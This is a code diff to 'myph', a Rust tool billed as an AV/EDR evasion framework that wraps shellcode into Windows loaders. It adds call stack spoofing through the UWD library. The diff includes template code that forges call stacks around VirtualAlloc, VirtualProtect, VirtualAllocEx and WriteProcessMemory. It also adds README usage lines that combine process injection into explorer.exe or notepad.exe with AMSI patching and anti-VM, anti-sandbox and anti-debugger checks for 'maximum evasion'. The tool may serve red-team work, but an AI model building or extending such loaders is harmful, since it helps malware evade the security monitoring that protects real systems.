 cd myph-v2
@@ -98,33 +103,33 @@ All methods (except XOR) use SHA-256 key derivation with random IV/nonce generat
 
 ### Technique Capability Matrix
 
-| Technique | Detection Difficulty | Admin Required | Process Injection | Dynamic Resolver | AMSI Patch | Requires Ntdll |
-|-----------|---------------------|----------------|-------------------|------------------|------------|----------------|
-| crt | Medium |  | ✓ | ✓ | ✓ |  |
-| crtx | Medium |  | ✓ | ✓ | ✓ |  |
-| create-fiber | Medium-High |  | Local | ✓ | ✓ |  |
-| process-hollowing | High |  | ✓ | ✓ | ✓ | ✓ |
-| nt-create-thread-ex | Medium-High |  | ✓ | ✓ | ✓ | ✓ |
-| syscall | Medium |  | Local | ✓ | ✓ | ✓ |
-| etwp | High |  | Local | ✓ | ✓ |  |
-| set-timer | High |  | Local | ✓ | ✓ |  |
-| enum-calendar | High |  | Local | ✓ | ✓ |  |
-| enum-windows | High |  | Local | ✓ | ✓ |  |
-| enum-system-locales | High |  | Local | ✓ | ✓ |  |
-| image-get-digest-stream | High |  | Local | ✓ | ✓ |  |
-| queue-user-apc | High |  | Local | ✓ | ✓ |  |
-| fairy-law | Very High | ✓ | Local | ✓ | ✓ |  |
-| module-stomping | Very High |  | Local | ✓ | ✓ |  |
-| thread-hijacking | Very High |  | ✓ | ✓ | ✓ |  |
-| early-bird | Very High |  | ✓ | ✓ | ✓ |  |
+| Technique | Detection Difficulty | Admin Required | Process Injection | Requires Ntdll |
+|-----------|---------------------|----------------|-------------------|----------------|
+| crt | Medium |  | ✓ |  |
+| crtx | Medium |  | ✓ |  |
+| create-fiber | Medium-High |  | Local |  |
+| process-hollowing | High |  | ✓ | ✓ |
+| nt-create-thread-ex | Medium-High |  | ✓ | ✓ |
+| syscall | Medium |  | Local | ✓ |
+| etwp | High |  | Local |  |
+| set-timer | High |  | Local |  |
+| enum-calendar | High |  | Local |  |
+| enum-windows | High |  | Local |  |
+| enum-system-locales | High |  | Local |  |
+| image-get-digest-stream | High |  | Local |  |
+| queue-user-apc | High |  | Local |  |
+| fairy-law | Very High | ✓ | Local |  |
+| module-stomping | Very High |  | Local |  |
+| thread-hijacking | Very High |  | ✓ |  |
+| early-bird | Very High |  | ✓ |  |
 
 **Legend:**
 - **Admin Required**: Technique requires administrator privileges
 - **Process Injection**: ✓ = Injects into remote process, Local = Executes locally
-- **Dynamic Resolver**: Supports runtime API resolution via PEB walk
-- **AMSI Patch**: Compatible with AMSI patching
 - **Requires Ntdll**: Uses native NT API functions from ntdll.dll
 
+**Note:** All techniques are compatible with AMSI patching (`--with-amsi-patch`), call stack spoofing (`--with-callstack-spoofing`, requires NASM), and dynamic function resolver (`--with-dynamic-function-resolver`).
+
 **Compatibility Check:**
 ```bash
 # Check if a technique is compatible with your selected features
@@ -198,6 +203,7 @@ Evasion:
   --with-anti-vm              Enable anti-VM detection checks
   --with-anti-sandbox         Enable anti-sandbox detection checks
   --with-anti-debugger        Enable anti-debugger detection checks
+  --with-callstack-spoofing   Enable call stack spoofing (requires NASM)
 ```
 
 ---
@@ -443,6 +449,72 @@ myph_v2 -s sc.raw -e aes -t module-stomping \
   --with-amsi-patch --with-string-encryption
 ```
 
+### Call Stack Spoofing
+
+**Call stack spoofing** uses the [UWD library](https://github.com/joaoviictorti/uwd) to forge call stacks when executing Windows API calls, making execution appear as if it originated from legitimate system components. This evades analysis, logging, and detection mechanisms that inspect call stacks during execution.
+
+**How It Works:**
+
+When enabled, the UWD library intercepts API calls and manipulates the call stack to:
+1. Create synthetic stack frames pointing to legitimate system DLLs
+2. Hide the actual origin of API calls from stack walkers
+3. Bypass security solutions that rely on call stack inspection
+4. Support both normal API calls and indirect syscalls
+
+**Requirements:**
+
+- NASM (Netwide Assembler) must be installed at build time
+- Windows x64 target only
+- Compatible with both MSVC and GNU toolchains
+
+**Usage:**
+
+```bash
+# Basic call stack spoofing
+myph_v2 -s sc.raw -e aes -t create-fiber --with-callstack-spoofing
+
+# Combined with dynamic function resolver for maximum evasion
+myph_v2 -s sc.raw -e chacha20 -t syscall \
+  --with-callstack-spoofing --with-dynamic-function-resolver
+
+# Process injection with spoofed call stacks
+myph_v2 -s sc.raw -e aes -t nt-create-thread-ex -p notepad.exe \
+  --with-callstack-spoofing --with-amsi-patch
+
+# Maximum evasion configuration
+myph_v2 -s sc.raw -e aes256 -t early-bird -p explorer.exe \
+  --with-callstack-spoofing \
+  --with-dynamic-function-resolver \
+  --with-string-encryption \
+  --with-amsi-patch \
+  --with-anti-vm \
+  --with-anti-sandbox \
+  --with-anti-debugger
+```
+
+**Installation:**
+
+```bash
+# Ubuntu/Debian
+sudo apt-get install -y nasm
+
+# macOS
+brew install nasm
+
+# Verify installation
+nasm --version
+```
+
+**Technical Details:**
+
+- Uses [UWD v0.3.5](https://github.com/joaoviictorti/uwd)
+- Inspired by [SilentMoonwalk](https://github.com/klezVirus/SilentMoonwalk)
+- Supports both Synthetic and Desync spoofing modes
+- Automatic gadget resolution for stack manipulation
+- No-std compatible with alloc support
+
+---
+
 **Detection Methods:**
 - **Anti-VM**: VM DLLs, processes, registry keys, CPU/memory limits, firmware
 - **Anti-Sandbox**: Timing analysis, file system checks, uptime, user activity
@@ -554,6 +626,16 @@ ls -lh shellcode.raw    # Verify file exists
 chmod +r shellcode.raw  # Fix permissions
 ```
 
+**`Failed to compile with NASM` when using --with-callstack-spoofing**
+```bash
+# Install NASM (required for UWD library)
+sudo apt-get install -y nasm  # Debian/Ubuntu
+brew install nasm             # macOS
+
+# Verify installation
+nasm --version
+```
+
 ### Runtime Issues
 
 **Generated binary won't execute on Windows**
diff --git a/src/cli/mod.rs b/src/cli/mod.rs
@@ -133,6 +133,10 @@ pub struct Options {
     #[arg(long = "with-anti-debugger")]
     pub with_anti_debugger: bool,
 
+    /// Enable call stack spoofing using UWD library for evasion
+    #[arg(long = "with-callstack-spoofing")]
+    pub with_callstack_spoofing: bool,
+
     /// Check compatibility of technique with selected features and display information
     #[arg(long = "check-compatibility")]
     pub check_compatibility: bool,
@@ -501,4 +505,18 @@ mod tests {
         assert!(opts.with_anti_sandbox);
         assert!(opts.with_anti_debugger);
     }
+
+    #[test]
+    fn test_with_callstack_spoofing_flag() {
+        let args = vec!["myph", "--with-callstack-spoofing"];
+        let opts = Options::parse_from(args);
+        assert!(opts.with_callstack_spoofing);
+    }
+
+    #[test]
+    fn test_without_callstack_spoofing_flag() {
+        let args = vec!["myph"];
+        let opts = Options::parse_from(args);
+        assert!(!opts.with_callstack_spoofing);
+    }
 }
diff --git a/src/internals/dependencies.rs b/src/internals/dependencies.rs
@@ -52,6 +52,12 @@ winapi = { version = "0.3", features = ["ntdef"] }
 "#
 }
 
+fn callstack_spoofing_dependencies() -> &'static str {
+    r#"
+uwd = "0.3.5"
+"#
+}
+
 pub fn get_dependencies_for_encryption(encryption_type: &str) -> Result<&'static str, String> {
     match encryption_type {
         "aes" => Ok(aes_dependencies_template()),
@@ -68,6 +74,7 @@ pub fn get_dependencies_for_encryption(encryption_type: &str) -> Result<&'static
 pub fn get_dependencies(
     encryption_type: &str,
     with_dynamic_resolver: bool,
+    with_callstack_spoofing: bool,
 ) -> Result<String, String> {
     let mut deps = get_dependencies_for_encryption(encryption_type)?.to_string();
 
@@ -75,5 +82,9 @@ pub fn get_dependencies(
         deps.push_str(api_resolver_dependencies());
     }
 
+    if with_callstack_spoofing {
+        deps.push_str(callstack_spoofing_dependencies());
+    }
+
     Ok(deps)
 }
diff --git a/src/internals/loader.rs b/src/internals/loader.rs
@@ -60,6 +60,7 @@ pub struct BuildConfig<'a> {
     pub with_anti_vm: bool,
     pub with_anti_sandbox: bool,
     pub with_anti_debugger: bool,
+    pub with_callstack_spoofing: bool,
 }
 
 pub struct BuildEnv<'a> {
@@ -79,6 +80,7 @@ pub struct BuildEnv<'a> {
     with_anti_vm: bool,
     with_anti_sandbox: bool,
     with_anti_debugger: bool,
+    with_callstack_spoofing: bool,
 }
 
 impl<'a> BuildEnv<'a> {
@@ -100,6 +102,7 @@ impl<'a> BuildEnv<'a> {
             with_anti_vm: false,
             with_anti_sandbox: false,
             with_anti_debugger: false,
+            with_callstack_spoofing: false,
         }
     }
 
@@ -179,6 +182,11 @@ impl<'a> BuildEnv<'a> {
         self
     }
 
+    pub fn with_callstack_spoofing(mut self, enabled: bool) -> Self {
+        self.with_callstack_spoofing = enabled;
+        self
+    }
+
     pub fn build(self) -> io::Result<PathBuf> {
         let project_name = self
             .project_name
@@ -219,6 +227,7 @@ impl<'a> BuildEnv<'a> {
             with_anti_vm: self.with_anti_vm,
             with_anti_sandbox: self.with_anti_sandbox,
             with_anti_debugger: self.with_anti_debugger,
+            with_callstack_spoofing: self.with_callstack_spoofing,
         };
 
         setup_and_build_project(&config)
@@ -247,6 +256,7 @@ fn init_rust_project_with_target(config: &BuildConfig) -> io::Result<()> {
         config.binary_format,
         encryption_type_str,
         config.with_dynamic_function_resolver,
+        config.with_callstack_spoofing,
     )?;
     write_cargo_config()?;
 
@@ -276,6 +286,7 @@ fn init_rust_project_with_target(config: &BuildConfig) -> io::Result<()> {
         with_anti_vm: config.with_anti_vm,
         with_anti_sandbox: config.with_anti_sandbox,
         with_anti_debugger: config.with_anti_debugger,
+        with_callstack_spoofing: config.with_callstack_spoofing,
         encryption_kind: config.encryption_kind,
         encryption_key: config.encryption_key,
     })?;
@@ -336,10 +347,14 @@ fn write_cargo_toml(
     binary_format: &BinaryFormat,
     encryption_type: &str,
     with_dynamic_resolver: bool,
+    with_callstack_spoofing: bool,
 ) -> io::Result<()> {
-    let dependencies =
-        super::dependencies::get_dependencies(encryption_type, with_dynamic_resolver)
-            .map_err(io::Error::other)?;
+    let dependencies = super::dependencies::get_dependencies(
+        encryption_type,
+        with_dynamic_resolver,
+        with_callstack_spoofing,
+    )
+    .map_err(io::Error::other)?;
 
     let cargo_toml = match binary_format {
         BinaryFormat::Exe => super::templates::generate_cargo_toml_exe(project_name, &dependencies),
@@ -391,6 +406,7 @@ struct SourceCodeParams<'a> {
     with_anti_vm: bool,
     with_anti_sandbox: bool,
     with_anti_debugger: bool,
+    with_callstack_spoofing: bool,
     encryption_kind: Option<&'a EncryptionKind>,
     encryption_key: Option<&'a str>,
 }
@@ -790,6 +806,7 @@ fn generate_source_code(params: SourceCodeParams) -> io::Result<String> {
         .with_anti_vm(params.with_anti_vm)
         .with_anti_sandbox(params.with_anti_sandbox)
         .with_anti_debugger(params.with_anti_debugger)
+        .with_callstack_spoofing(params.with_callstack_spoofing)
         .encryption_type(params.encryption.encryption_type)
         .amsi_patch_code(&amsi_patch_code)
         .evasion_code(&evasion_code)
@@ -1001,7 +1018,13 @@ fn init_rust_project_for_test(
     let (encrypted_shellcode, encryption_type_str, key_bytes) =
         prepare_shellcode_encryption(shellcode_data, Some(&encryption_kind), Some(encryption_key))?;
 
-    write_cargo_toml(project_name, binary_format, encryption_type_str, false)?;
+    write_cargo_toml(
+        project_name,
+        binary_format,
+        encryption_type_str,
+        false,
+        false,
+    )?;
 
     fs::create_dir_all("src")?;
 
@@ -1026,6 +1049,7 @@ fn init_rust_project_for_test(
         with_anti_vm: false,
         with_anti_sandbox: false,
         with_anti_debugger: false,
+        with_callstack_spoofing: false,
         encryption_kind: Some(&encryption_kind),
         encryption_key: Some(encryption_key),
     })?;
@@ -1093,6 +1117,7 @@ mod tests {
             with_anti_vm: false,
             with_anti_sandbox: false,
             with_anti_debugger: false,
+            with_callstack_spoofing: false,
         };
 
         let result = init_rust_project(&config);
@@ -1155,6 +1180,7 @@ mod tests {
             with_anti_vm: false,
             with_anti_sandbox: false,
             with_anti_debugger: false,
+            with_callstack_spoofing: false,
         };
 
         init_rust_project_with_target(&config).unwrap();
@@ -1328,6 +1354,7 @@ mod tests {
             with_anti_vm: false,
             with_anti_sandbox: false,
             with_anti_debugger: false,
+            with_callstack_spoofing: false,
         };
 
         init_rust_project_with_target(&config).unwrap();
@@ -1419,6 +1446,7 @@ mod tests {
             with_anti_vm: false,
             with_anti_sandbox: false,
             with_anti_debugger: false,
+            with_callstack_spoofing: false,
         };
 
         init_rust_project_with_target(&config).unwrap();
@@ -1475,6 +1503,7 @@ mod tests {
             with_anti_vm: false,
             with_anti_sandbox: false,
             with_anti_debugger: false,
+            with_callstack_spoofing: false,
         };
 
         let result = init_rust_project(&config);
@@ -1534,6 +1563,7 @@ mod tests {
             with_anti_vm: false,
             with_anti_sandbox: false,
             with_anti_debugger: false,
+            with_callstack_spoofing: false,
         };
 
         let result = init_rust_project(&config);
diff --git a/src/internals/templates/callstack_spoofing.rs b/src/internals/templates/callstack_spoofing.rs
@@ -0,0 +1,226 @@
+/// Generate UWD call stack spoofing wrapper code for Windows APIs
+///
+/// This module provides code generation for wrapping Windows API calls with
+/// UWD's call stack spoofing functionality. When enabled, API calls will have
+/// forged call stacks that appear to originate from legitimate system components.
+/// Generate imports needed for UWD call stack spoofing
+pub fn generate_uwd_imports() -> String {
+    r#"use uwd::{spoof, syscall};"#.to_string()
+}
+
+/// Generate wrapper function that uses UWD to spoof VirtualAlloc calls
+pub fn generate_spoofed_virtual_alloc() -> &'static str {
+    r#"
+/// Wrapper for VirtualAlloc with call stack spoofing
+unsafe fn virtual_alloc_spoofed(
+    address: *mut c_void,
+    size: usize,
+    allocation_type: u32,
+    protect: u32,
+) -> *mut c_void {
+    let result = spoof!(
+        VirtualAlloc,
+        address,
+        size,
+        allocation_type,
+        protect
+    );
+    
+    match result {
+        Ok(addr) => addr as *mut c_void,
+        Err(_) => std::ptr::null_mut(),
+    }
+}
+"#
+}
+
+/// Generate wrapper for VirtualProtect with call stack spoofing
+pub fn generate_spoofed_virtual_protect() -> &'static str {
+    r#"
+/// Wrapper for VirtualProtect with call stack spoofing
+unsafe fn virtual_protect_spoofed(
+    lp_address: *mut c_void,
+    dw_size: usize,
+    fl_new_protect: u32,
+    lpfl_old_protect: *mut u32,
+) -> i32 {
+    let result = spoof!(
+        VirtualProtect,
+        lp_address,
+        dw_size,
+        fl_new_protect,
+        lpfl_old_protect
+    );
+    
+    match result {
+        Ok(ret) => ret as i32,
+        Err(_) => 0,
+    }
+}
+"#
+}
+
+/// Generate wrapper for VirtualAllocEx with call stack spoofing
+pub fn generate_spoofed_virtual_alloc_ex() -> &'static str {
+    r#"
+/// Wrapper for VirtualAllocEx with call stack spoofing
+unsafe fn virtual_alloc_ex_spoofed(
+    process: *mut c_void,
+    address: *const c_void,
+    size: usize,
+    allocation_type: u32,
+    protect: u32,
+) -> *mut c_void {
+    let result = spoof!(
+        VirtualAllocEx,
+        process,
+        address,
+        size,
+        allocation_type,
+        protect
+    );
+    
+    match result {
+        Ok(addr) => addr as *mut c_void,
+        Err(_) => std::ptr::null_mut(),
+    }
+}
+"#
+}
+
+/// Generate wrapper for WriteProcessMemory with call stack spoofing
+pub fn generate_spoofed_write_process_memory() -> &'static str {
+    r#"
+/// Wrapper for WriteProcessMemory with call stack spoofing
+unsafe fn write_process_memory_spoofed(
+    process: *mut c_void,
+    base_address: *const c_void,
+    buffer: *const c_void,
+    size: usize,
+    number_of_bytes_written: *mut usize,
+) -> i32 {
+    let result = spoof!(
+        WriteProcessMemory,
+        process,
+        base_address,
+        buffer,
+        size,
+        number_of_bytes_written
+    );
+    
+    match result {
+        Ok(ret) => ret as i32,
+        Err(_) => 0,
+    }
+}
+"#
+}
+
+/// Generate comment explaining UWD integration
+pub fn generate_uwd_info_comment() -> &'static str {
+    r#"
+// ============================================================================
+// Call Stack Spoofing with UWD
+// ============================================================================
+// This binary uses the UWD library to spoof call stacks when making Windows
+// API calls. This makes the execution appear as if it's coming from legitimate
+// system components, evading detection mechanisms that inspect call stacks.
+//
+// UWD Repository: https://github.com/joaoviictorti/uwd
+// ============================================================================
+"#
+}
+
+/// Generate complete UWD wrapper module for inclusion in generated code
+pub fn generate_uwd_wrapper_module() -> String {
+    format!(
+        r#"{}
+{}
+
+use std::ffi::c_void;
+
+// Import Windows API functions that will be spoofed
+#[link(name = "kernel32")]
+extern "system" {{
+    fn VirtualAlloc(
+        address: *mut c_void,
+        size: usize,
+        allocation_type: u32,
+        protect: u32,
+    ) -> *mut c_void;
+
+    fn VirtualProtect(
+        lp_address: *mut c_void,
+        dw_size: usize,
+        fl_new_protect: u32,
+        lpfl_old_protect: *mut u32,
+    ) -> i32;
+    
+    fn VirtualAllocEx(
+        process: *mut c_void,
+        address: *const c_void,
+        size: usize,
+        allocation_type: u32,
+        protect: u32,
+    ) -> *mut c_void;
+
+    fn WriteProcessMemory(
+        process: *mut c_void,
+        base_address: *const c_void,
+        buffer: *const c_void,
+        size: usize,
+        number_of_bytes_written: *mut usize,
+    ) -> i32;
+}}
+
+{}
+{}
+{}
+{}
+"#,
+        generate_uwd_info_comment(),
+        generate_uwd_imports(),
+        generate_spoofed_virtual_alloc(),
+        generate_spoofed_virtual_protect(),
+        generate_spoofed_virtual_alloc_ex(),
+        generate_spoofed_write_process_memory()
+    )
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn test_generate_uwd_imports() {
+        let imports = generate_uwd_imports();
+        assert!(imports.contains("use uwd"));
+        assert!(imports.contains("spoof"));
+        assert!(imports.contains("syscall"));
+    }
+
+    #[test]
+    fn test_generate_spoofed_virtual_alloc() {
+        let code = generate_spoofed_virtual_alloc();
+        assert!(code.contains("virtual_alloc_spoofed"));
+        assert!(code.contains("spoof!"));
+        assert!(code.contains("VirtualAlloc"));
+    }
+
+    #[test]
+    fn test_generate_spoofed_virtual_protect() {
+        let code = generate_spoofed_virtual_protect();
+        assert!(code.contains("virtual_protect_spoofed"));
+        assert!(code.contains("spoof!"));
+        assert!(code.contains("VirtualProtect"));
+    }
+
+    #[test]
+    fn test_generate_uwd_wrapper_module() {
+        let module = generate_uwd_wrapper_module();
+        assert!(module.contains("use uwd"));
+        assert!(module.contains("virtual_alloc_spoofed"));
+        assert!(module.contains("virtual_protect_spoofed"));
+        assert!(module.contains("Call Stack Spoofing"));
+    }
+}
diff --git a/src/internals/templates/main_funcs.rs b/src/internals/templates/main_funcs.rs
@@ -12,6 +12,7 @@ pub struct TemplateConfig<'a> {
     pub with_anti_vm: bool,
     pub with_anti_sandbox: bool,
     pub with_anti_debugger: bool,
+    pub with_callstack_spoofing: bool,
     pub encryption_type: &'a str,
     pub amsi_patch_code: &'a str,
     pub evasion_code: &'a str,
@@ -38,6 +39,7 @@ pub struct TemplateConfigBuilder<'a> {
     with_anti_vm: bool,
     with_anti_sandbox: bool,
     with_anti_debugger: bool,
+    with_callstack_spoofing: bool,
     encryption_type: Option<&'a str>,
     amsi_patch_code: Option<&'a str>,
     evasion_code: Option<&'a str>,
@@ -60,6 +62,7 @@ impl<'a> TemplateConfigBuilder<'a> {
             with_anti_vm: false,
             with_anti_sandbox: false,
             with_anti_debugger: false,
+            with_callstack_spoofing: false,
             encryption_type: None,
             amsi_patch_code: None,
             evasion_code: None,
@@ -132,6 +135,11 @@ impl<'a> TemplateConfigBuilder<'a> {
         self
     }
 
+    pub fn with_callstack_spoofing(mut self, enabled: bool) -> Self {
+        self.with_callstack_spoofing = enabled;
+        self
+    }
+
     pub fn encryption_type(mut self, enc_type: &'a str) -> Self {
         self.encryption_type = Some(enc_type);
         self
@@ -169,6 +177,7 @@ impl<'a> TemplateConfigBuilder<'a> {
             with_anti_vm: self.with_anti_vm,
             with_anti_sandbox: self.with_anti_sandbox,
             with_anti_debugger: self.with_anti_debugger,
+            with_callstack_spoofing: self.with_callstack_spoofing,
             encryption_type: self.encryption_type.unwrap_or(""),
             amsi_patch_code: self.amsi_patch_code.unwrap_or(""),
             evasion_code: self.evasion_code.unwrap_or(""),
@@ -234,6 +243,12 @@ pub fn generate_exe_main_template(config: &TemplateConfig) -> String {
         String::new()
     };
 
+    let callstack_spoofing_code = if config.with_callstack_spoofing {
+        super::generate_uwd_info_comment().to_string()
+    } else {
+        String::new()
+    };
+
     let amsi_patch_code = if config.with_amsi_patch {
         config.amsi_patch_code.to_string()
     } else {
@@ -279,6 +294,8 @@ pub fn generate_exe_main_template(config: &TemplateConfig) -> String {
 
 {}
 
+{}
+
 const ENCRYPTED_SHELLCODE: &[u8] = &{};
 const DECRYPTION_KEY: &[u8] = &{};
 {}
@@ -291,6 +308,7 @@ fn main() {{
         config.internals_source,
         super::techniques::common::common_local_memory_imports(),
         super::techniques::common::common_local_memory_externs(),
+        callstack_spoofing_code,
         api_hammering_code,
         amsi_patch_code,
         evasion_code,
@@ -314,6 +332,12 @@ pub fn generate_dll_lib_template(config: &TemplateConfig) -> String {
         String::new()
     };
 
+    let callstack_spoofing_code = if config.with_callstack_spoofing {
+        super::generate_uwd_info_comment().to_string()
+    } else {
+        String::new()
+    };
+
     let amsi_patch_code = if config.with_amsi_patch {
         config.amsi_patch_code.to_string()
     } else {
@@ -359,6 +383,8 @@ pub fn generate_dll_lib_template(config: &TemplateConfig) -> String {
 
 {}
 
+{}
+
 const ENCRYPTED_SHELLCODE: &[u8] = &{};
 const DECRYPTION_KEY: &[u8] = &{};
 {}
@@ -378,6 +404,7 @@ pub extern "C" fn get_shellcode_size() -> usize {{
         config.internals_source,
         super::techniques::common::common_local_memory_imports(),
         super::techniques::common::common_local_memory_externs(),
+        callstack_spoofing_code,
         api_hammering_code,
         amsi_patch_code,
         evasion_code,
@@ -454,6 +481,7 @@ mod tests {
             with_anti_vm: false,
             with_anti_sandbox: false,
             with_anti_debugger: false,
+            with_callstack_spoofing: false,
             encryption_type: "xor",
             amsi_patch_code: "",
             evasion_code: "",
@@ -502,6 +530,7 @@ mod tests {
             with_anti_vm: false,
             with_anti_sandbox: false,
             with_anti_debugger: false,
+            with_callstack_spoofing: false,
             encryption_type: "aes",
             amsi_patch_code: "",
             evasion_code: "",
diff --git a/src/internals/templates/mod.rs b/src/internals/templates/mod.rs
@@ -1,5 +1,6 @@
 mod amsi_patch;
 mod api_hammering;
+mod callstack_spoofing;
 mod cargo_config;
 mod code_context;
 mod code_validator;
@@ -17,6 +18,7 @@ pub mod techniques;
 
 pub use amsi_patch::*;
 pub use api_hammering::*;
+pub use callstack_spoofing::*;
 pub use cargo_config::*;
 pub use code_context::*;
 pub use code_validator::*;
diff --git a/src/main.rs b/src/main.rs
@@ -48,7 +48,7 @@ const ASCII_ART: &str = r#"
        ,:::::'       ;           OOO                       (1974 - 2016)
        ::::::;       ;          OOOOO
        ;:::::;       ;         OOOOOOOO
-      ,;::::::;     ;'         / OOOOOOO                      v2.1.1
+      ,;::::::;     ;'         / OOOOOOO                      v2.1.0
     ;::::::::: . ,,,;.        /  / DOOOOOO
   .';:::::::::::::::::;,     /  /     DOOOO
  ,::::::;::::::;;;;::::;,   /  /        DOOO        AV / EDR evasion framework
@@ -201,6 +201,7 @@ fn display_configuration(opts: &Options) {
     display_supported("Anti-VM Detection", opts.with_anti_vm);
     display_supported("Anti-Sandbox Detection", opts.with_anti_sandbox);
     display_supported("Anti-Debugger Detection", opts.with_anti_debugger);
+    display_supported("Call Stack Spoofing", opts.with_callstack_spoofing);
     println!();
 }
 
@@ -260,7 +261,8 @@ fn run() -> io::Result<()> {
         .with_dynamic_function_resolver(opts.with_dynamic_function_resolver)
         .with_anti_vm(opts.with_anti_vm)
         .with_anti_sandbox(opts.with_anti_sandbox)
-        .with_anti_debugger(opts.with_anti_debugger);
+        .with_anti_debugger(opts.with_anti_debugger)
+        .with_callstack_spoofing(opts.with_callstack_spoofing);
 
     build_env
         .build()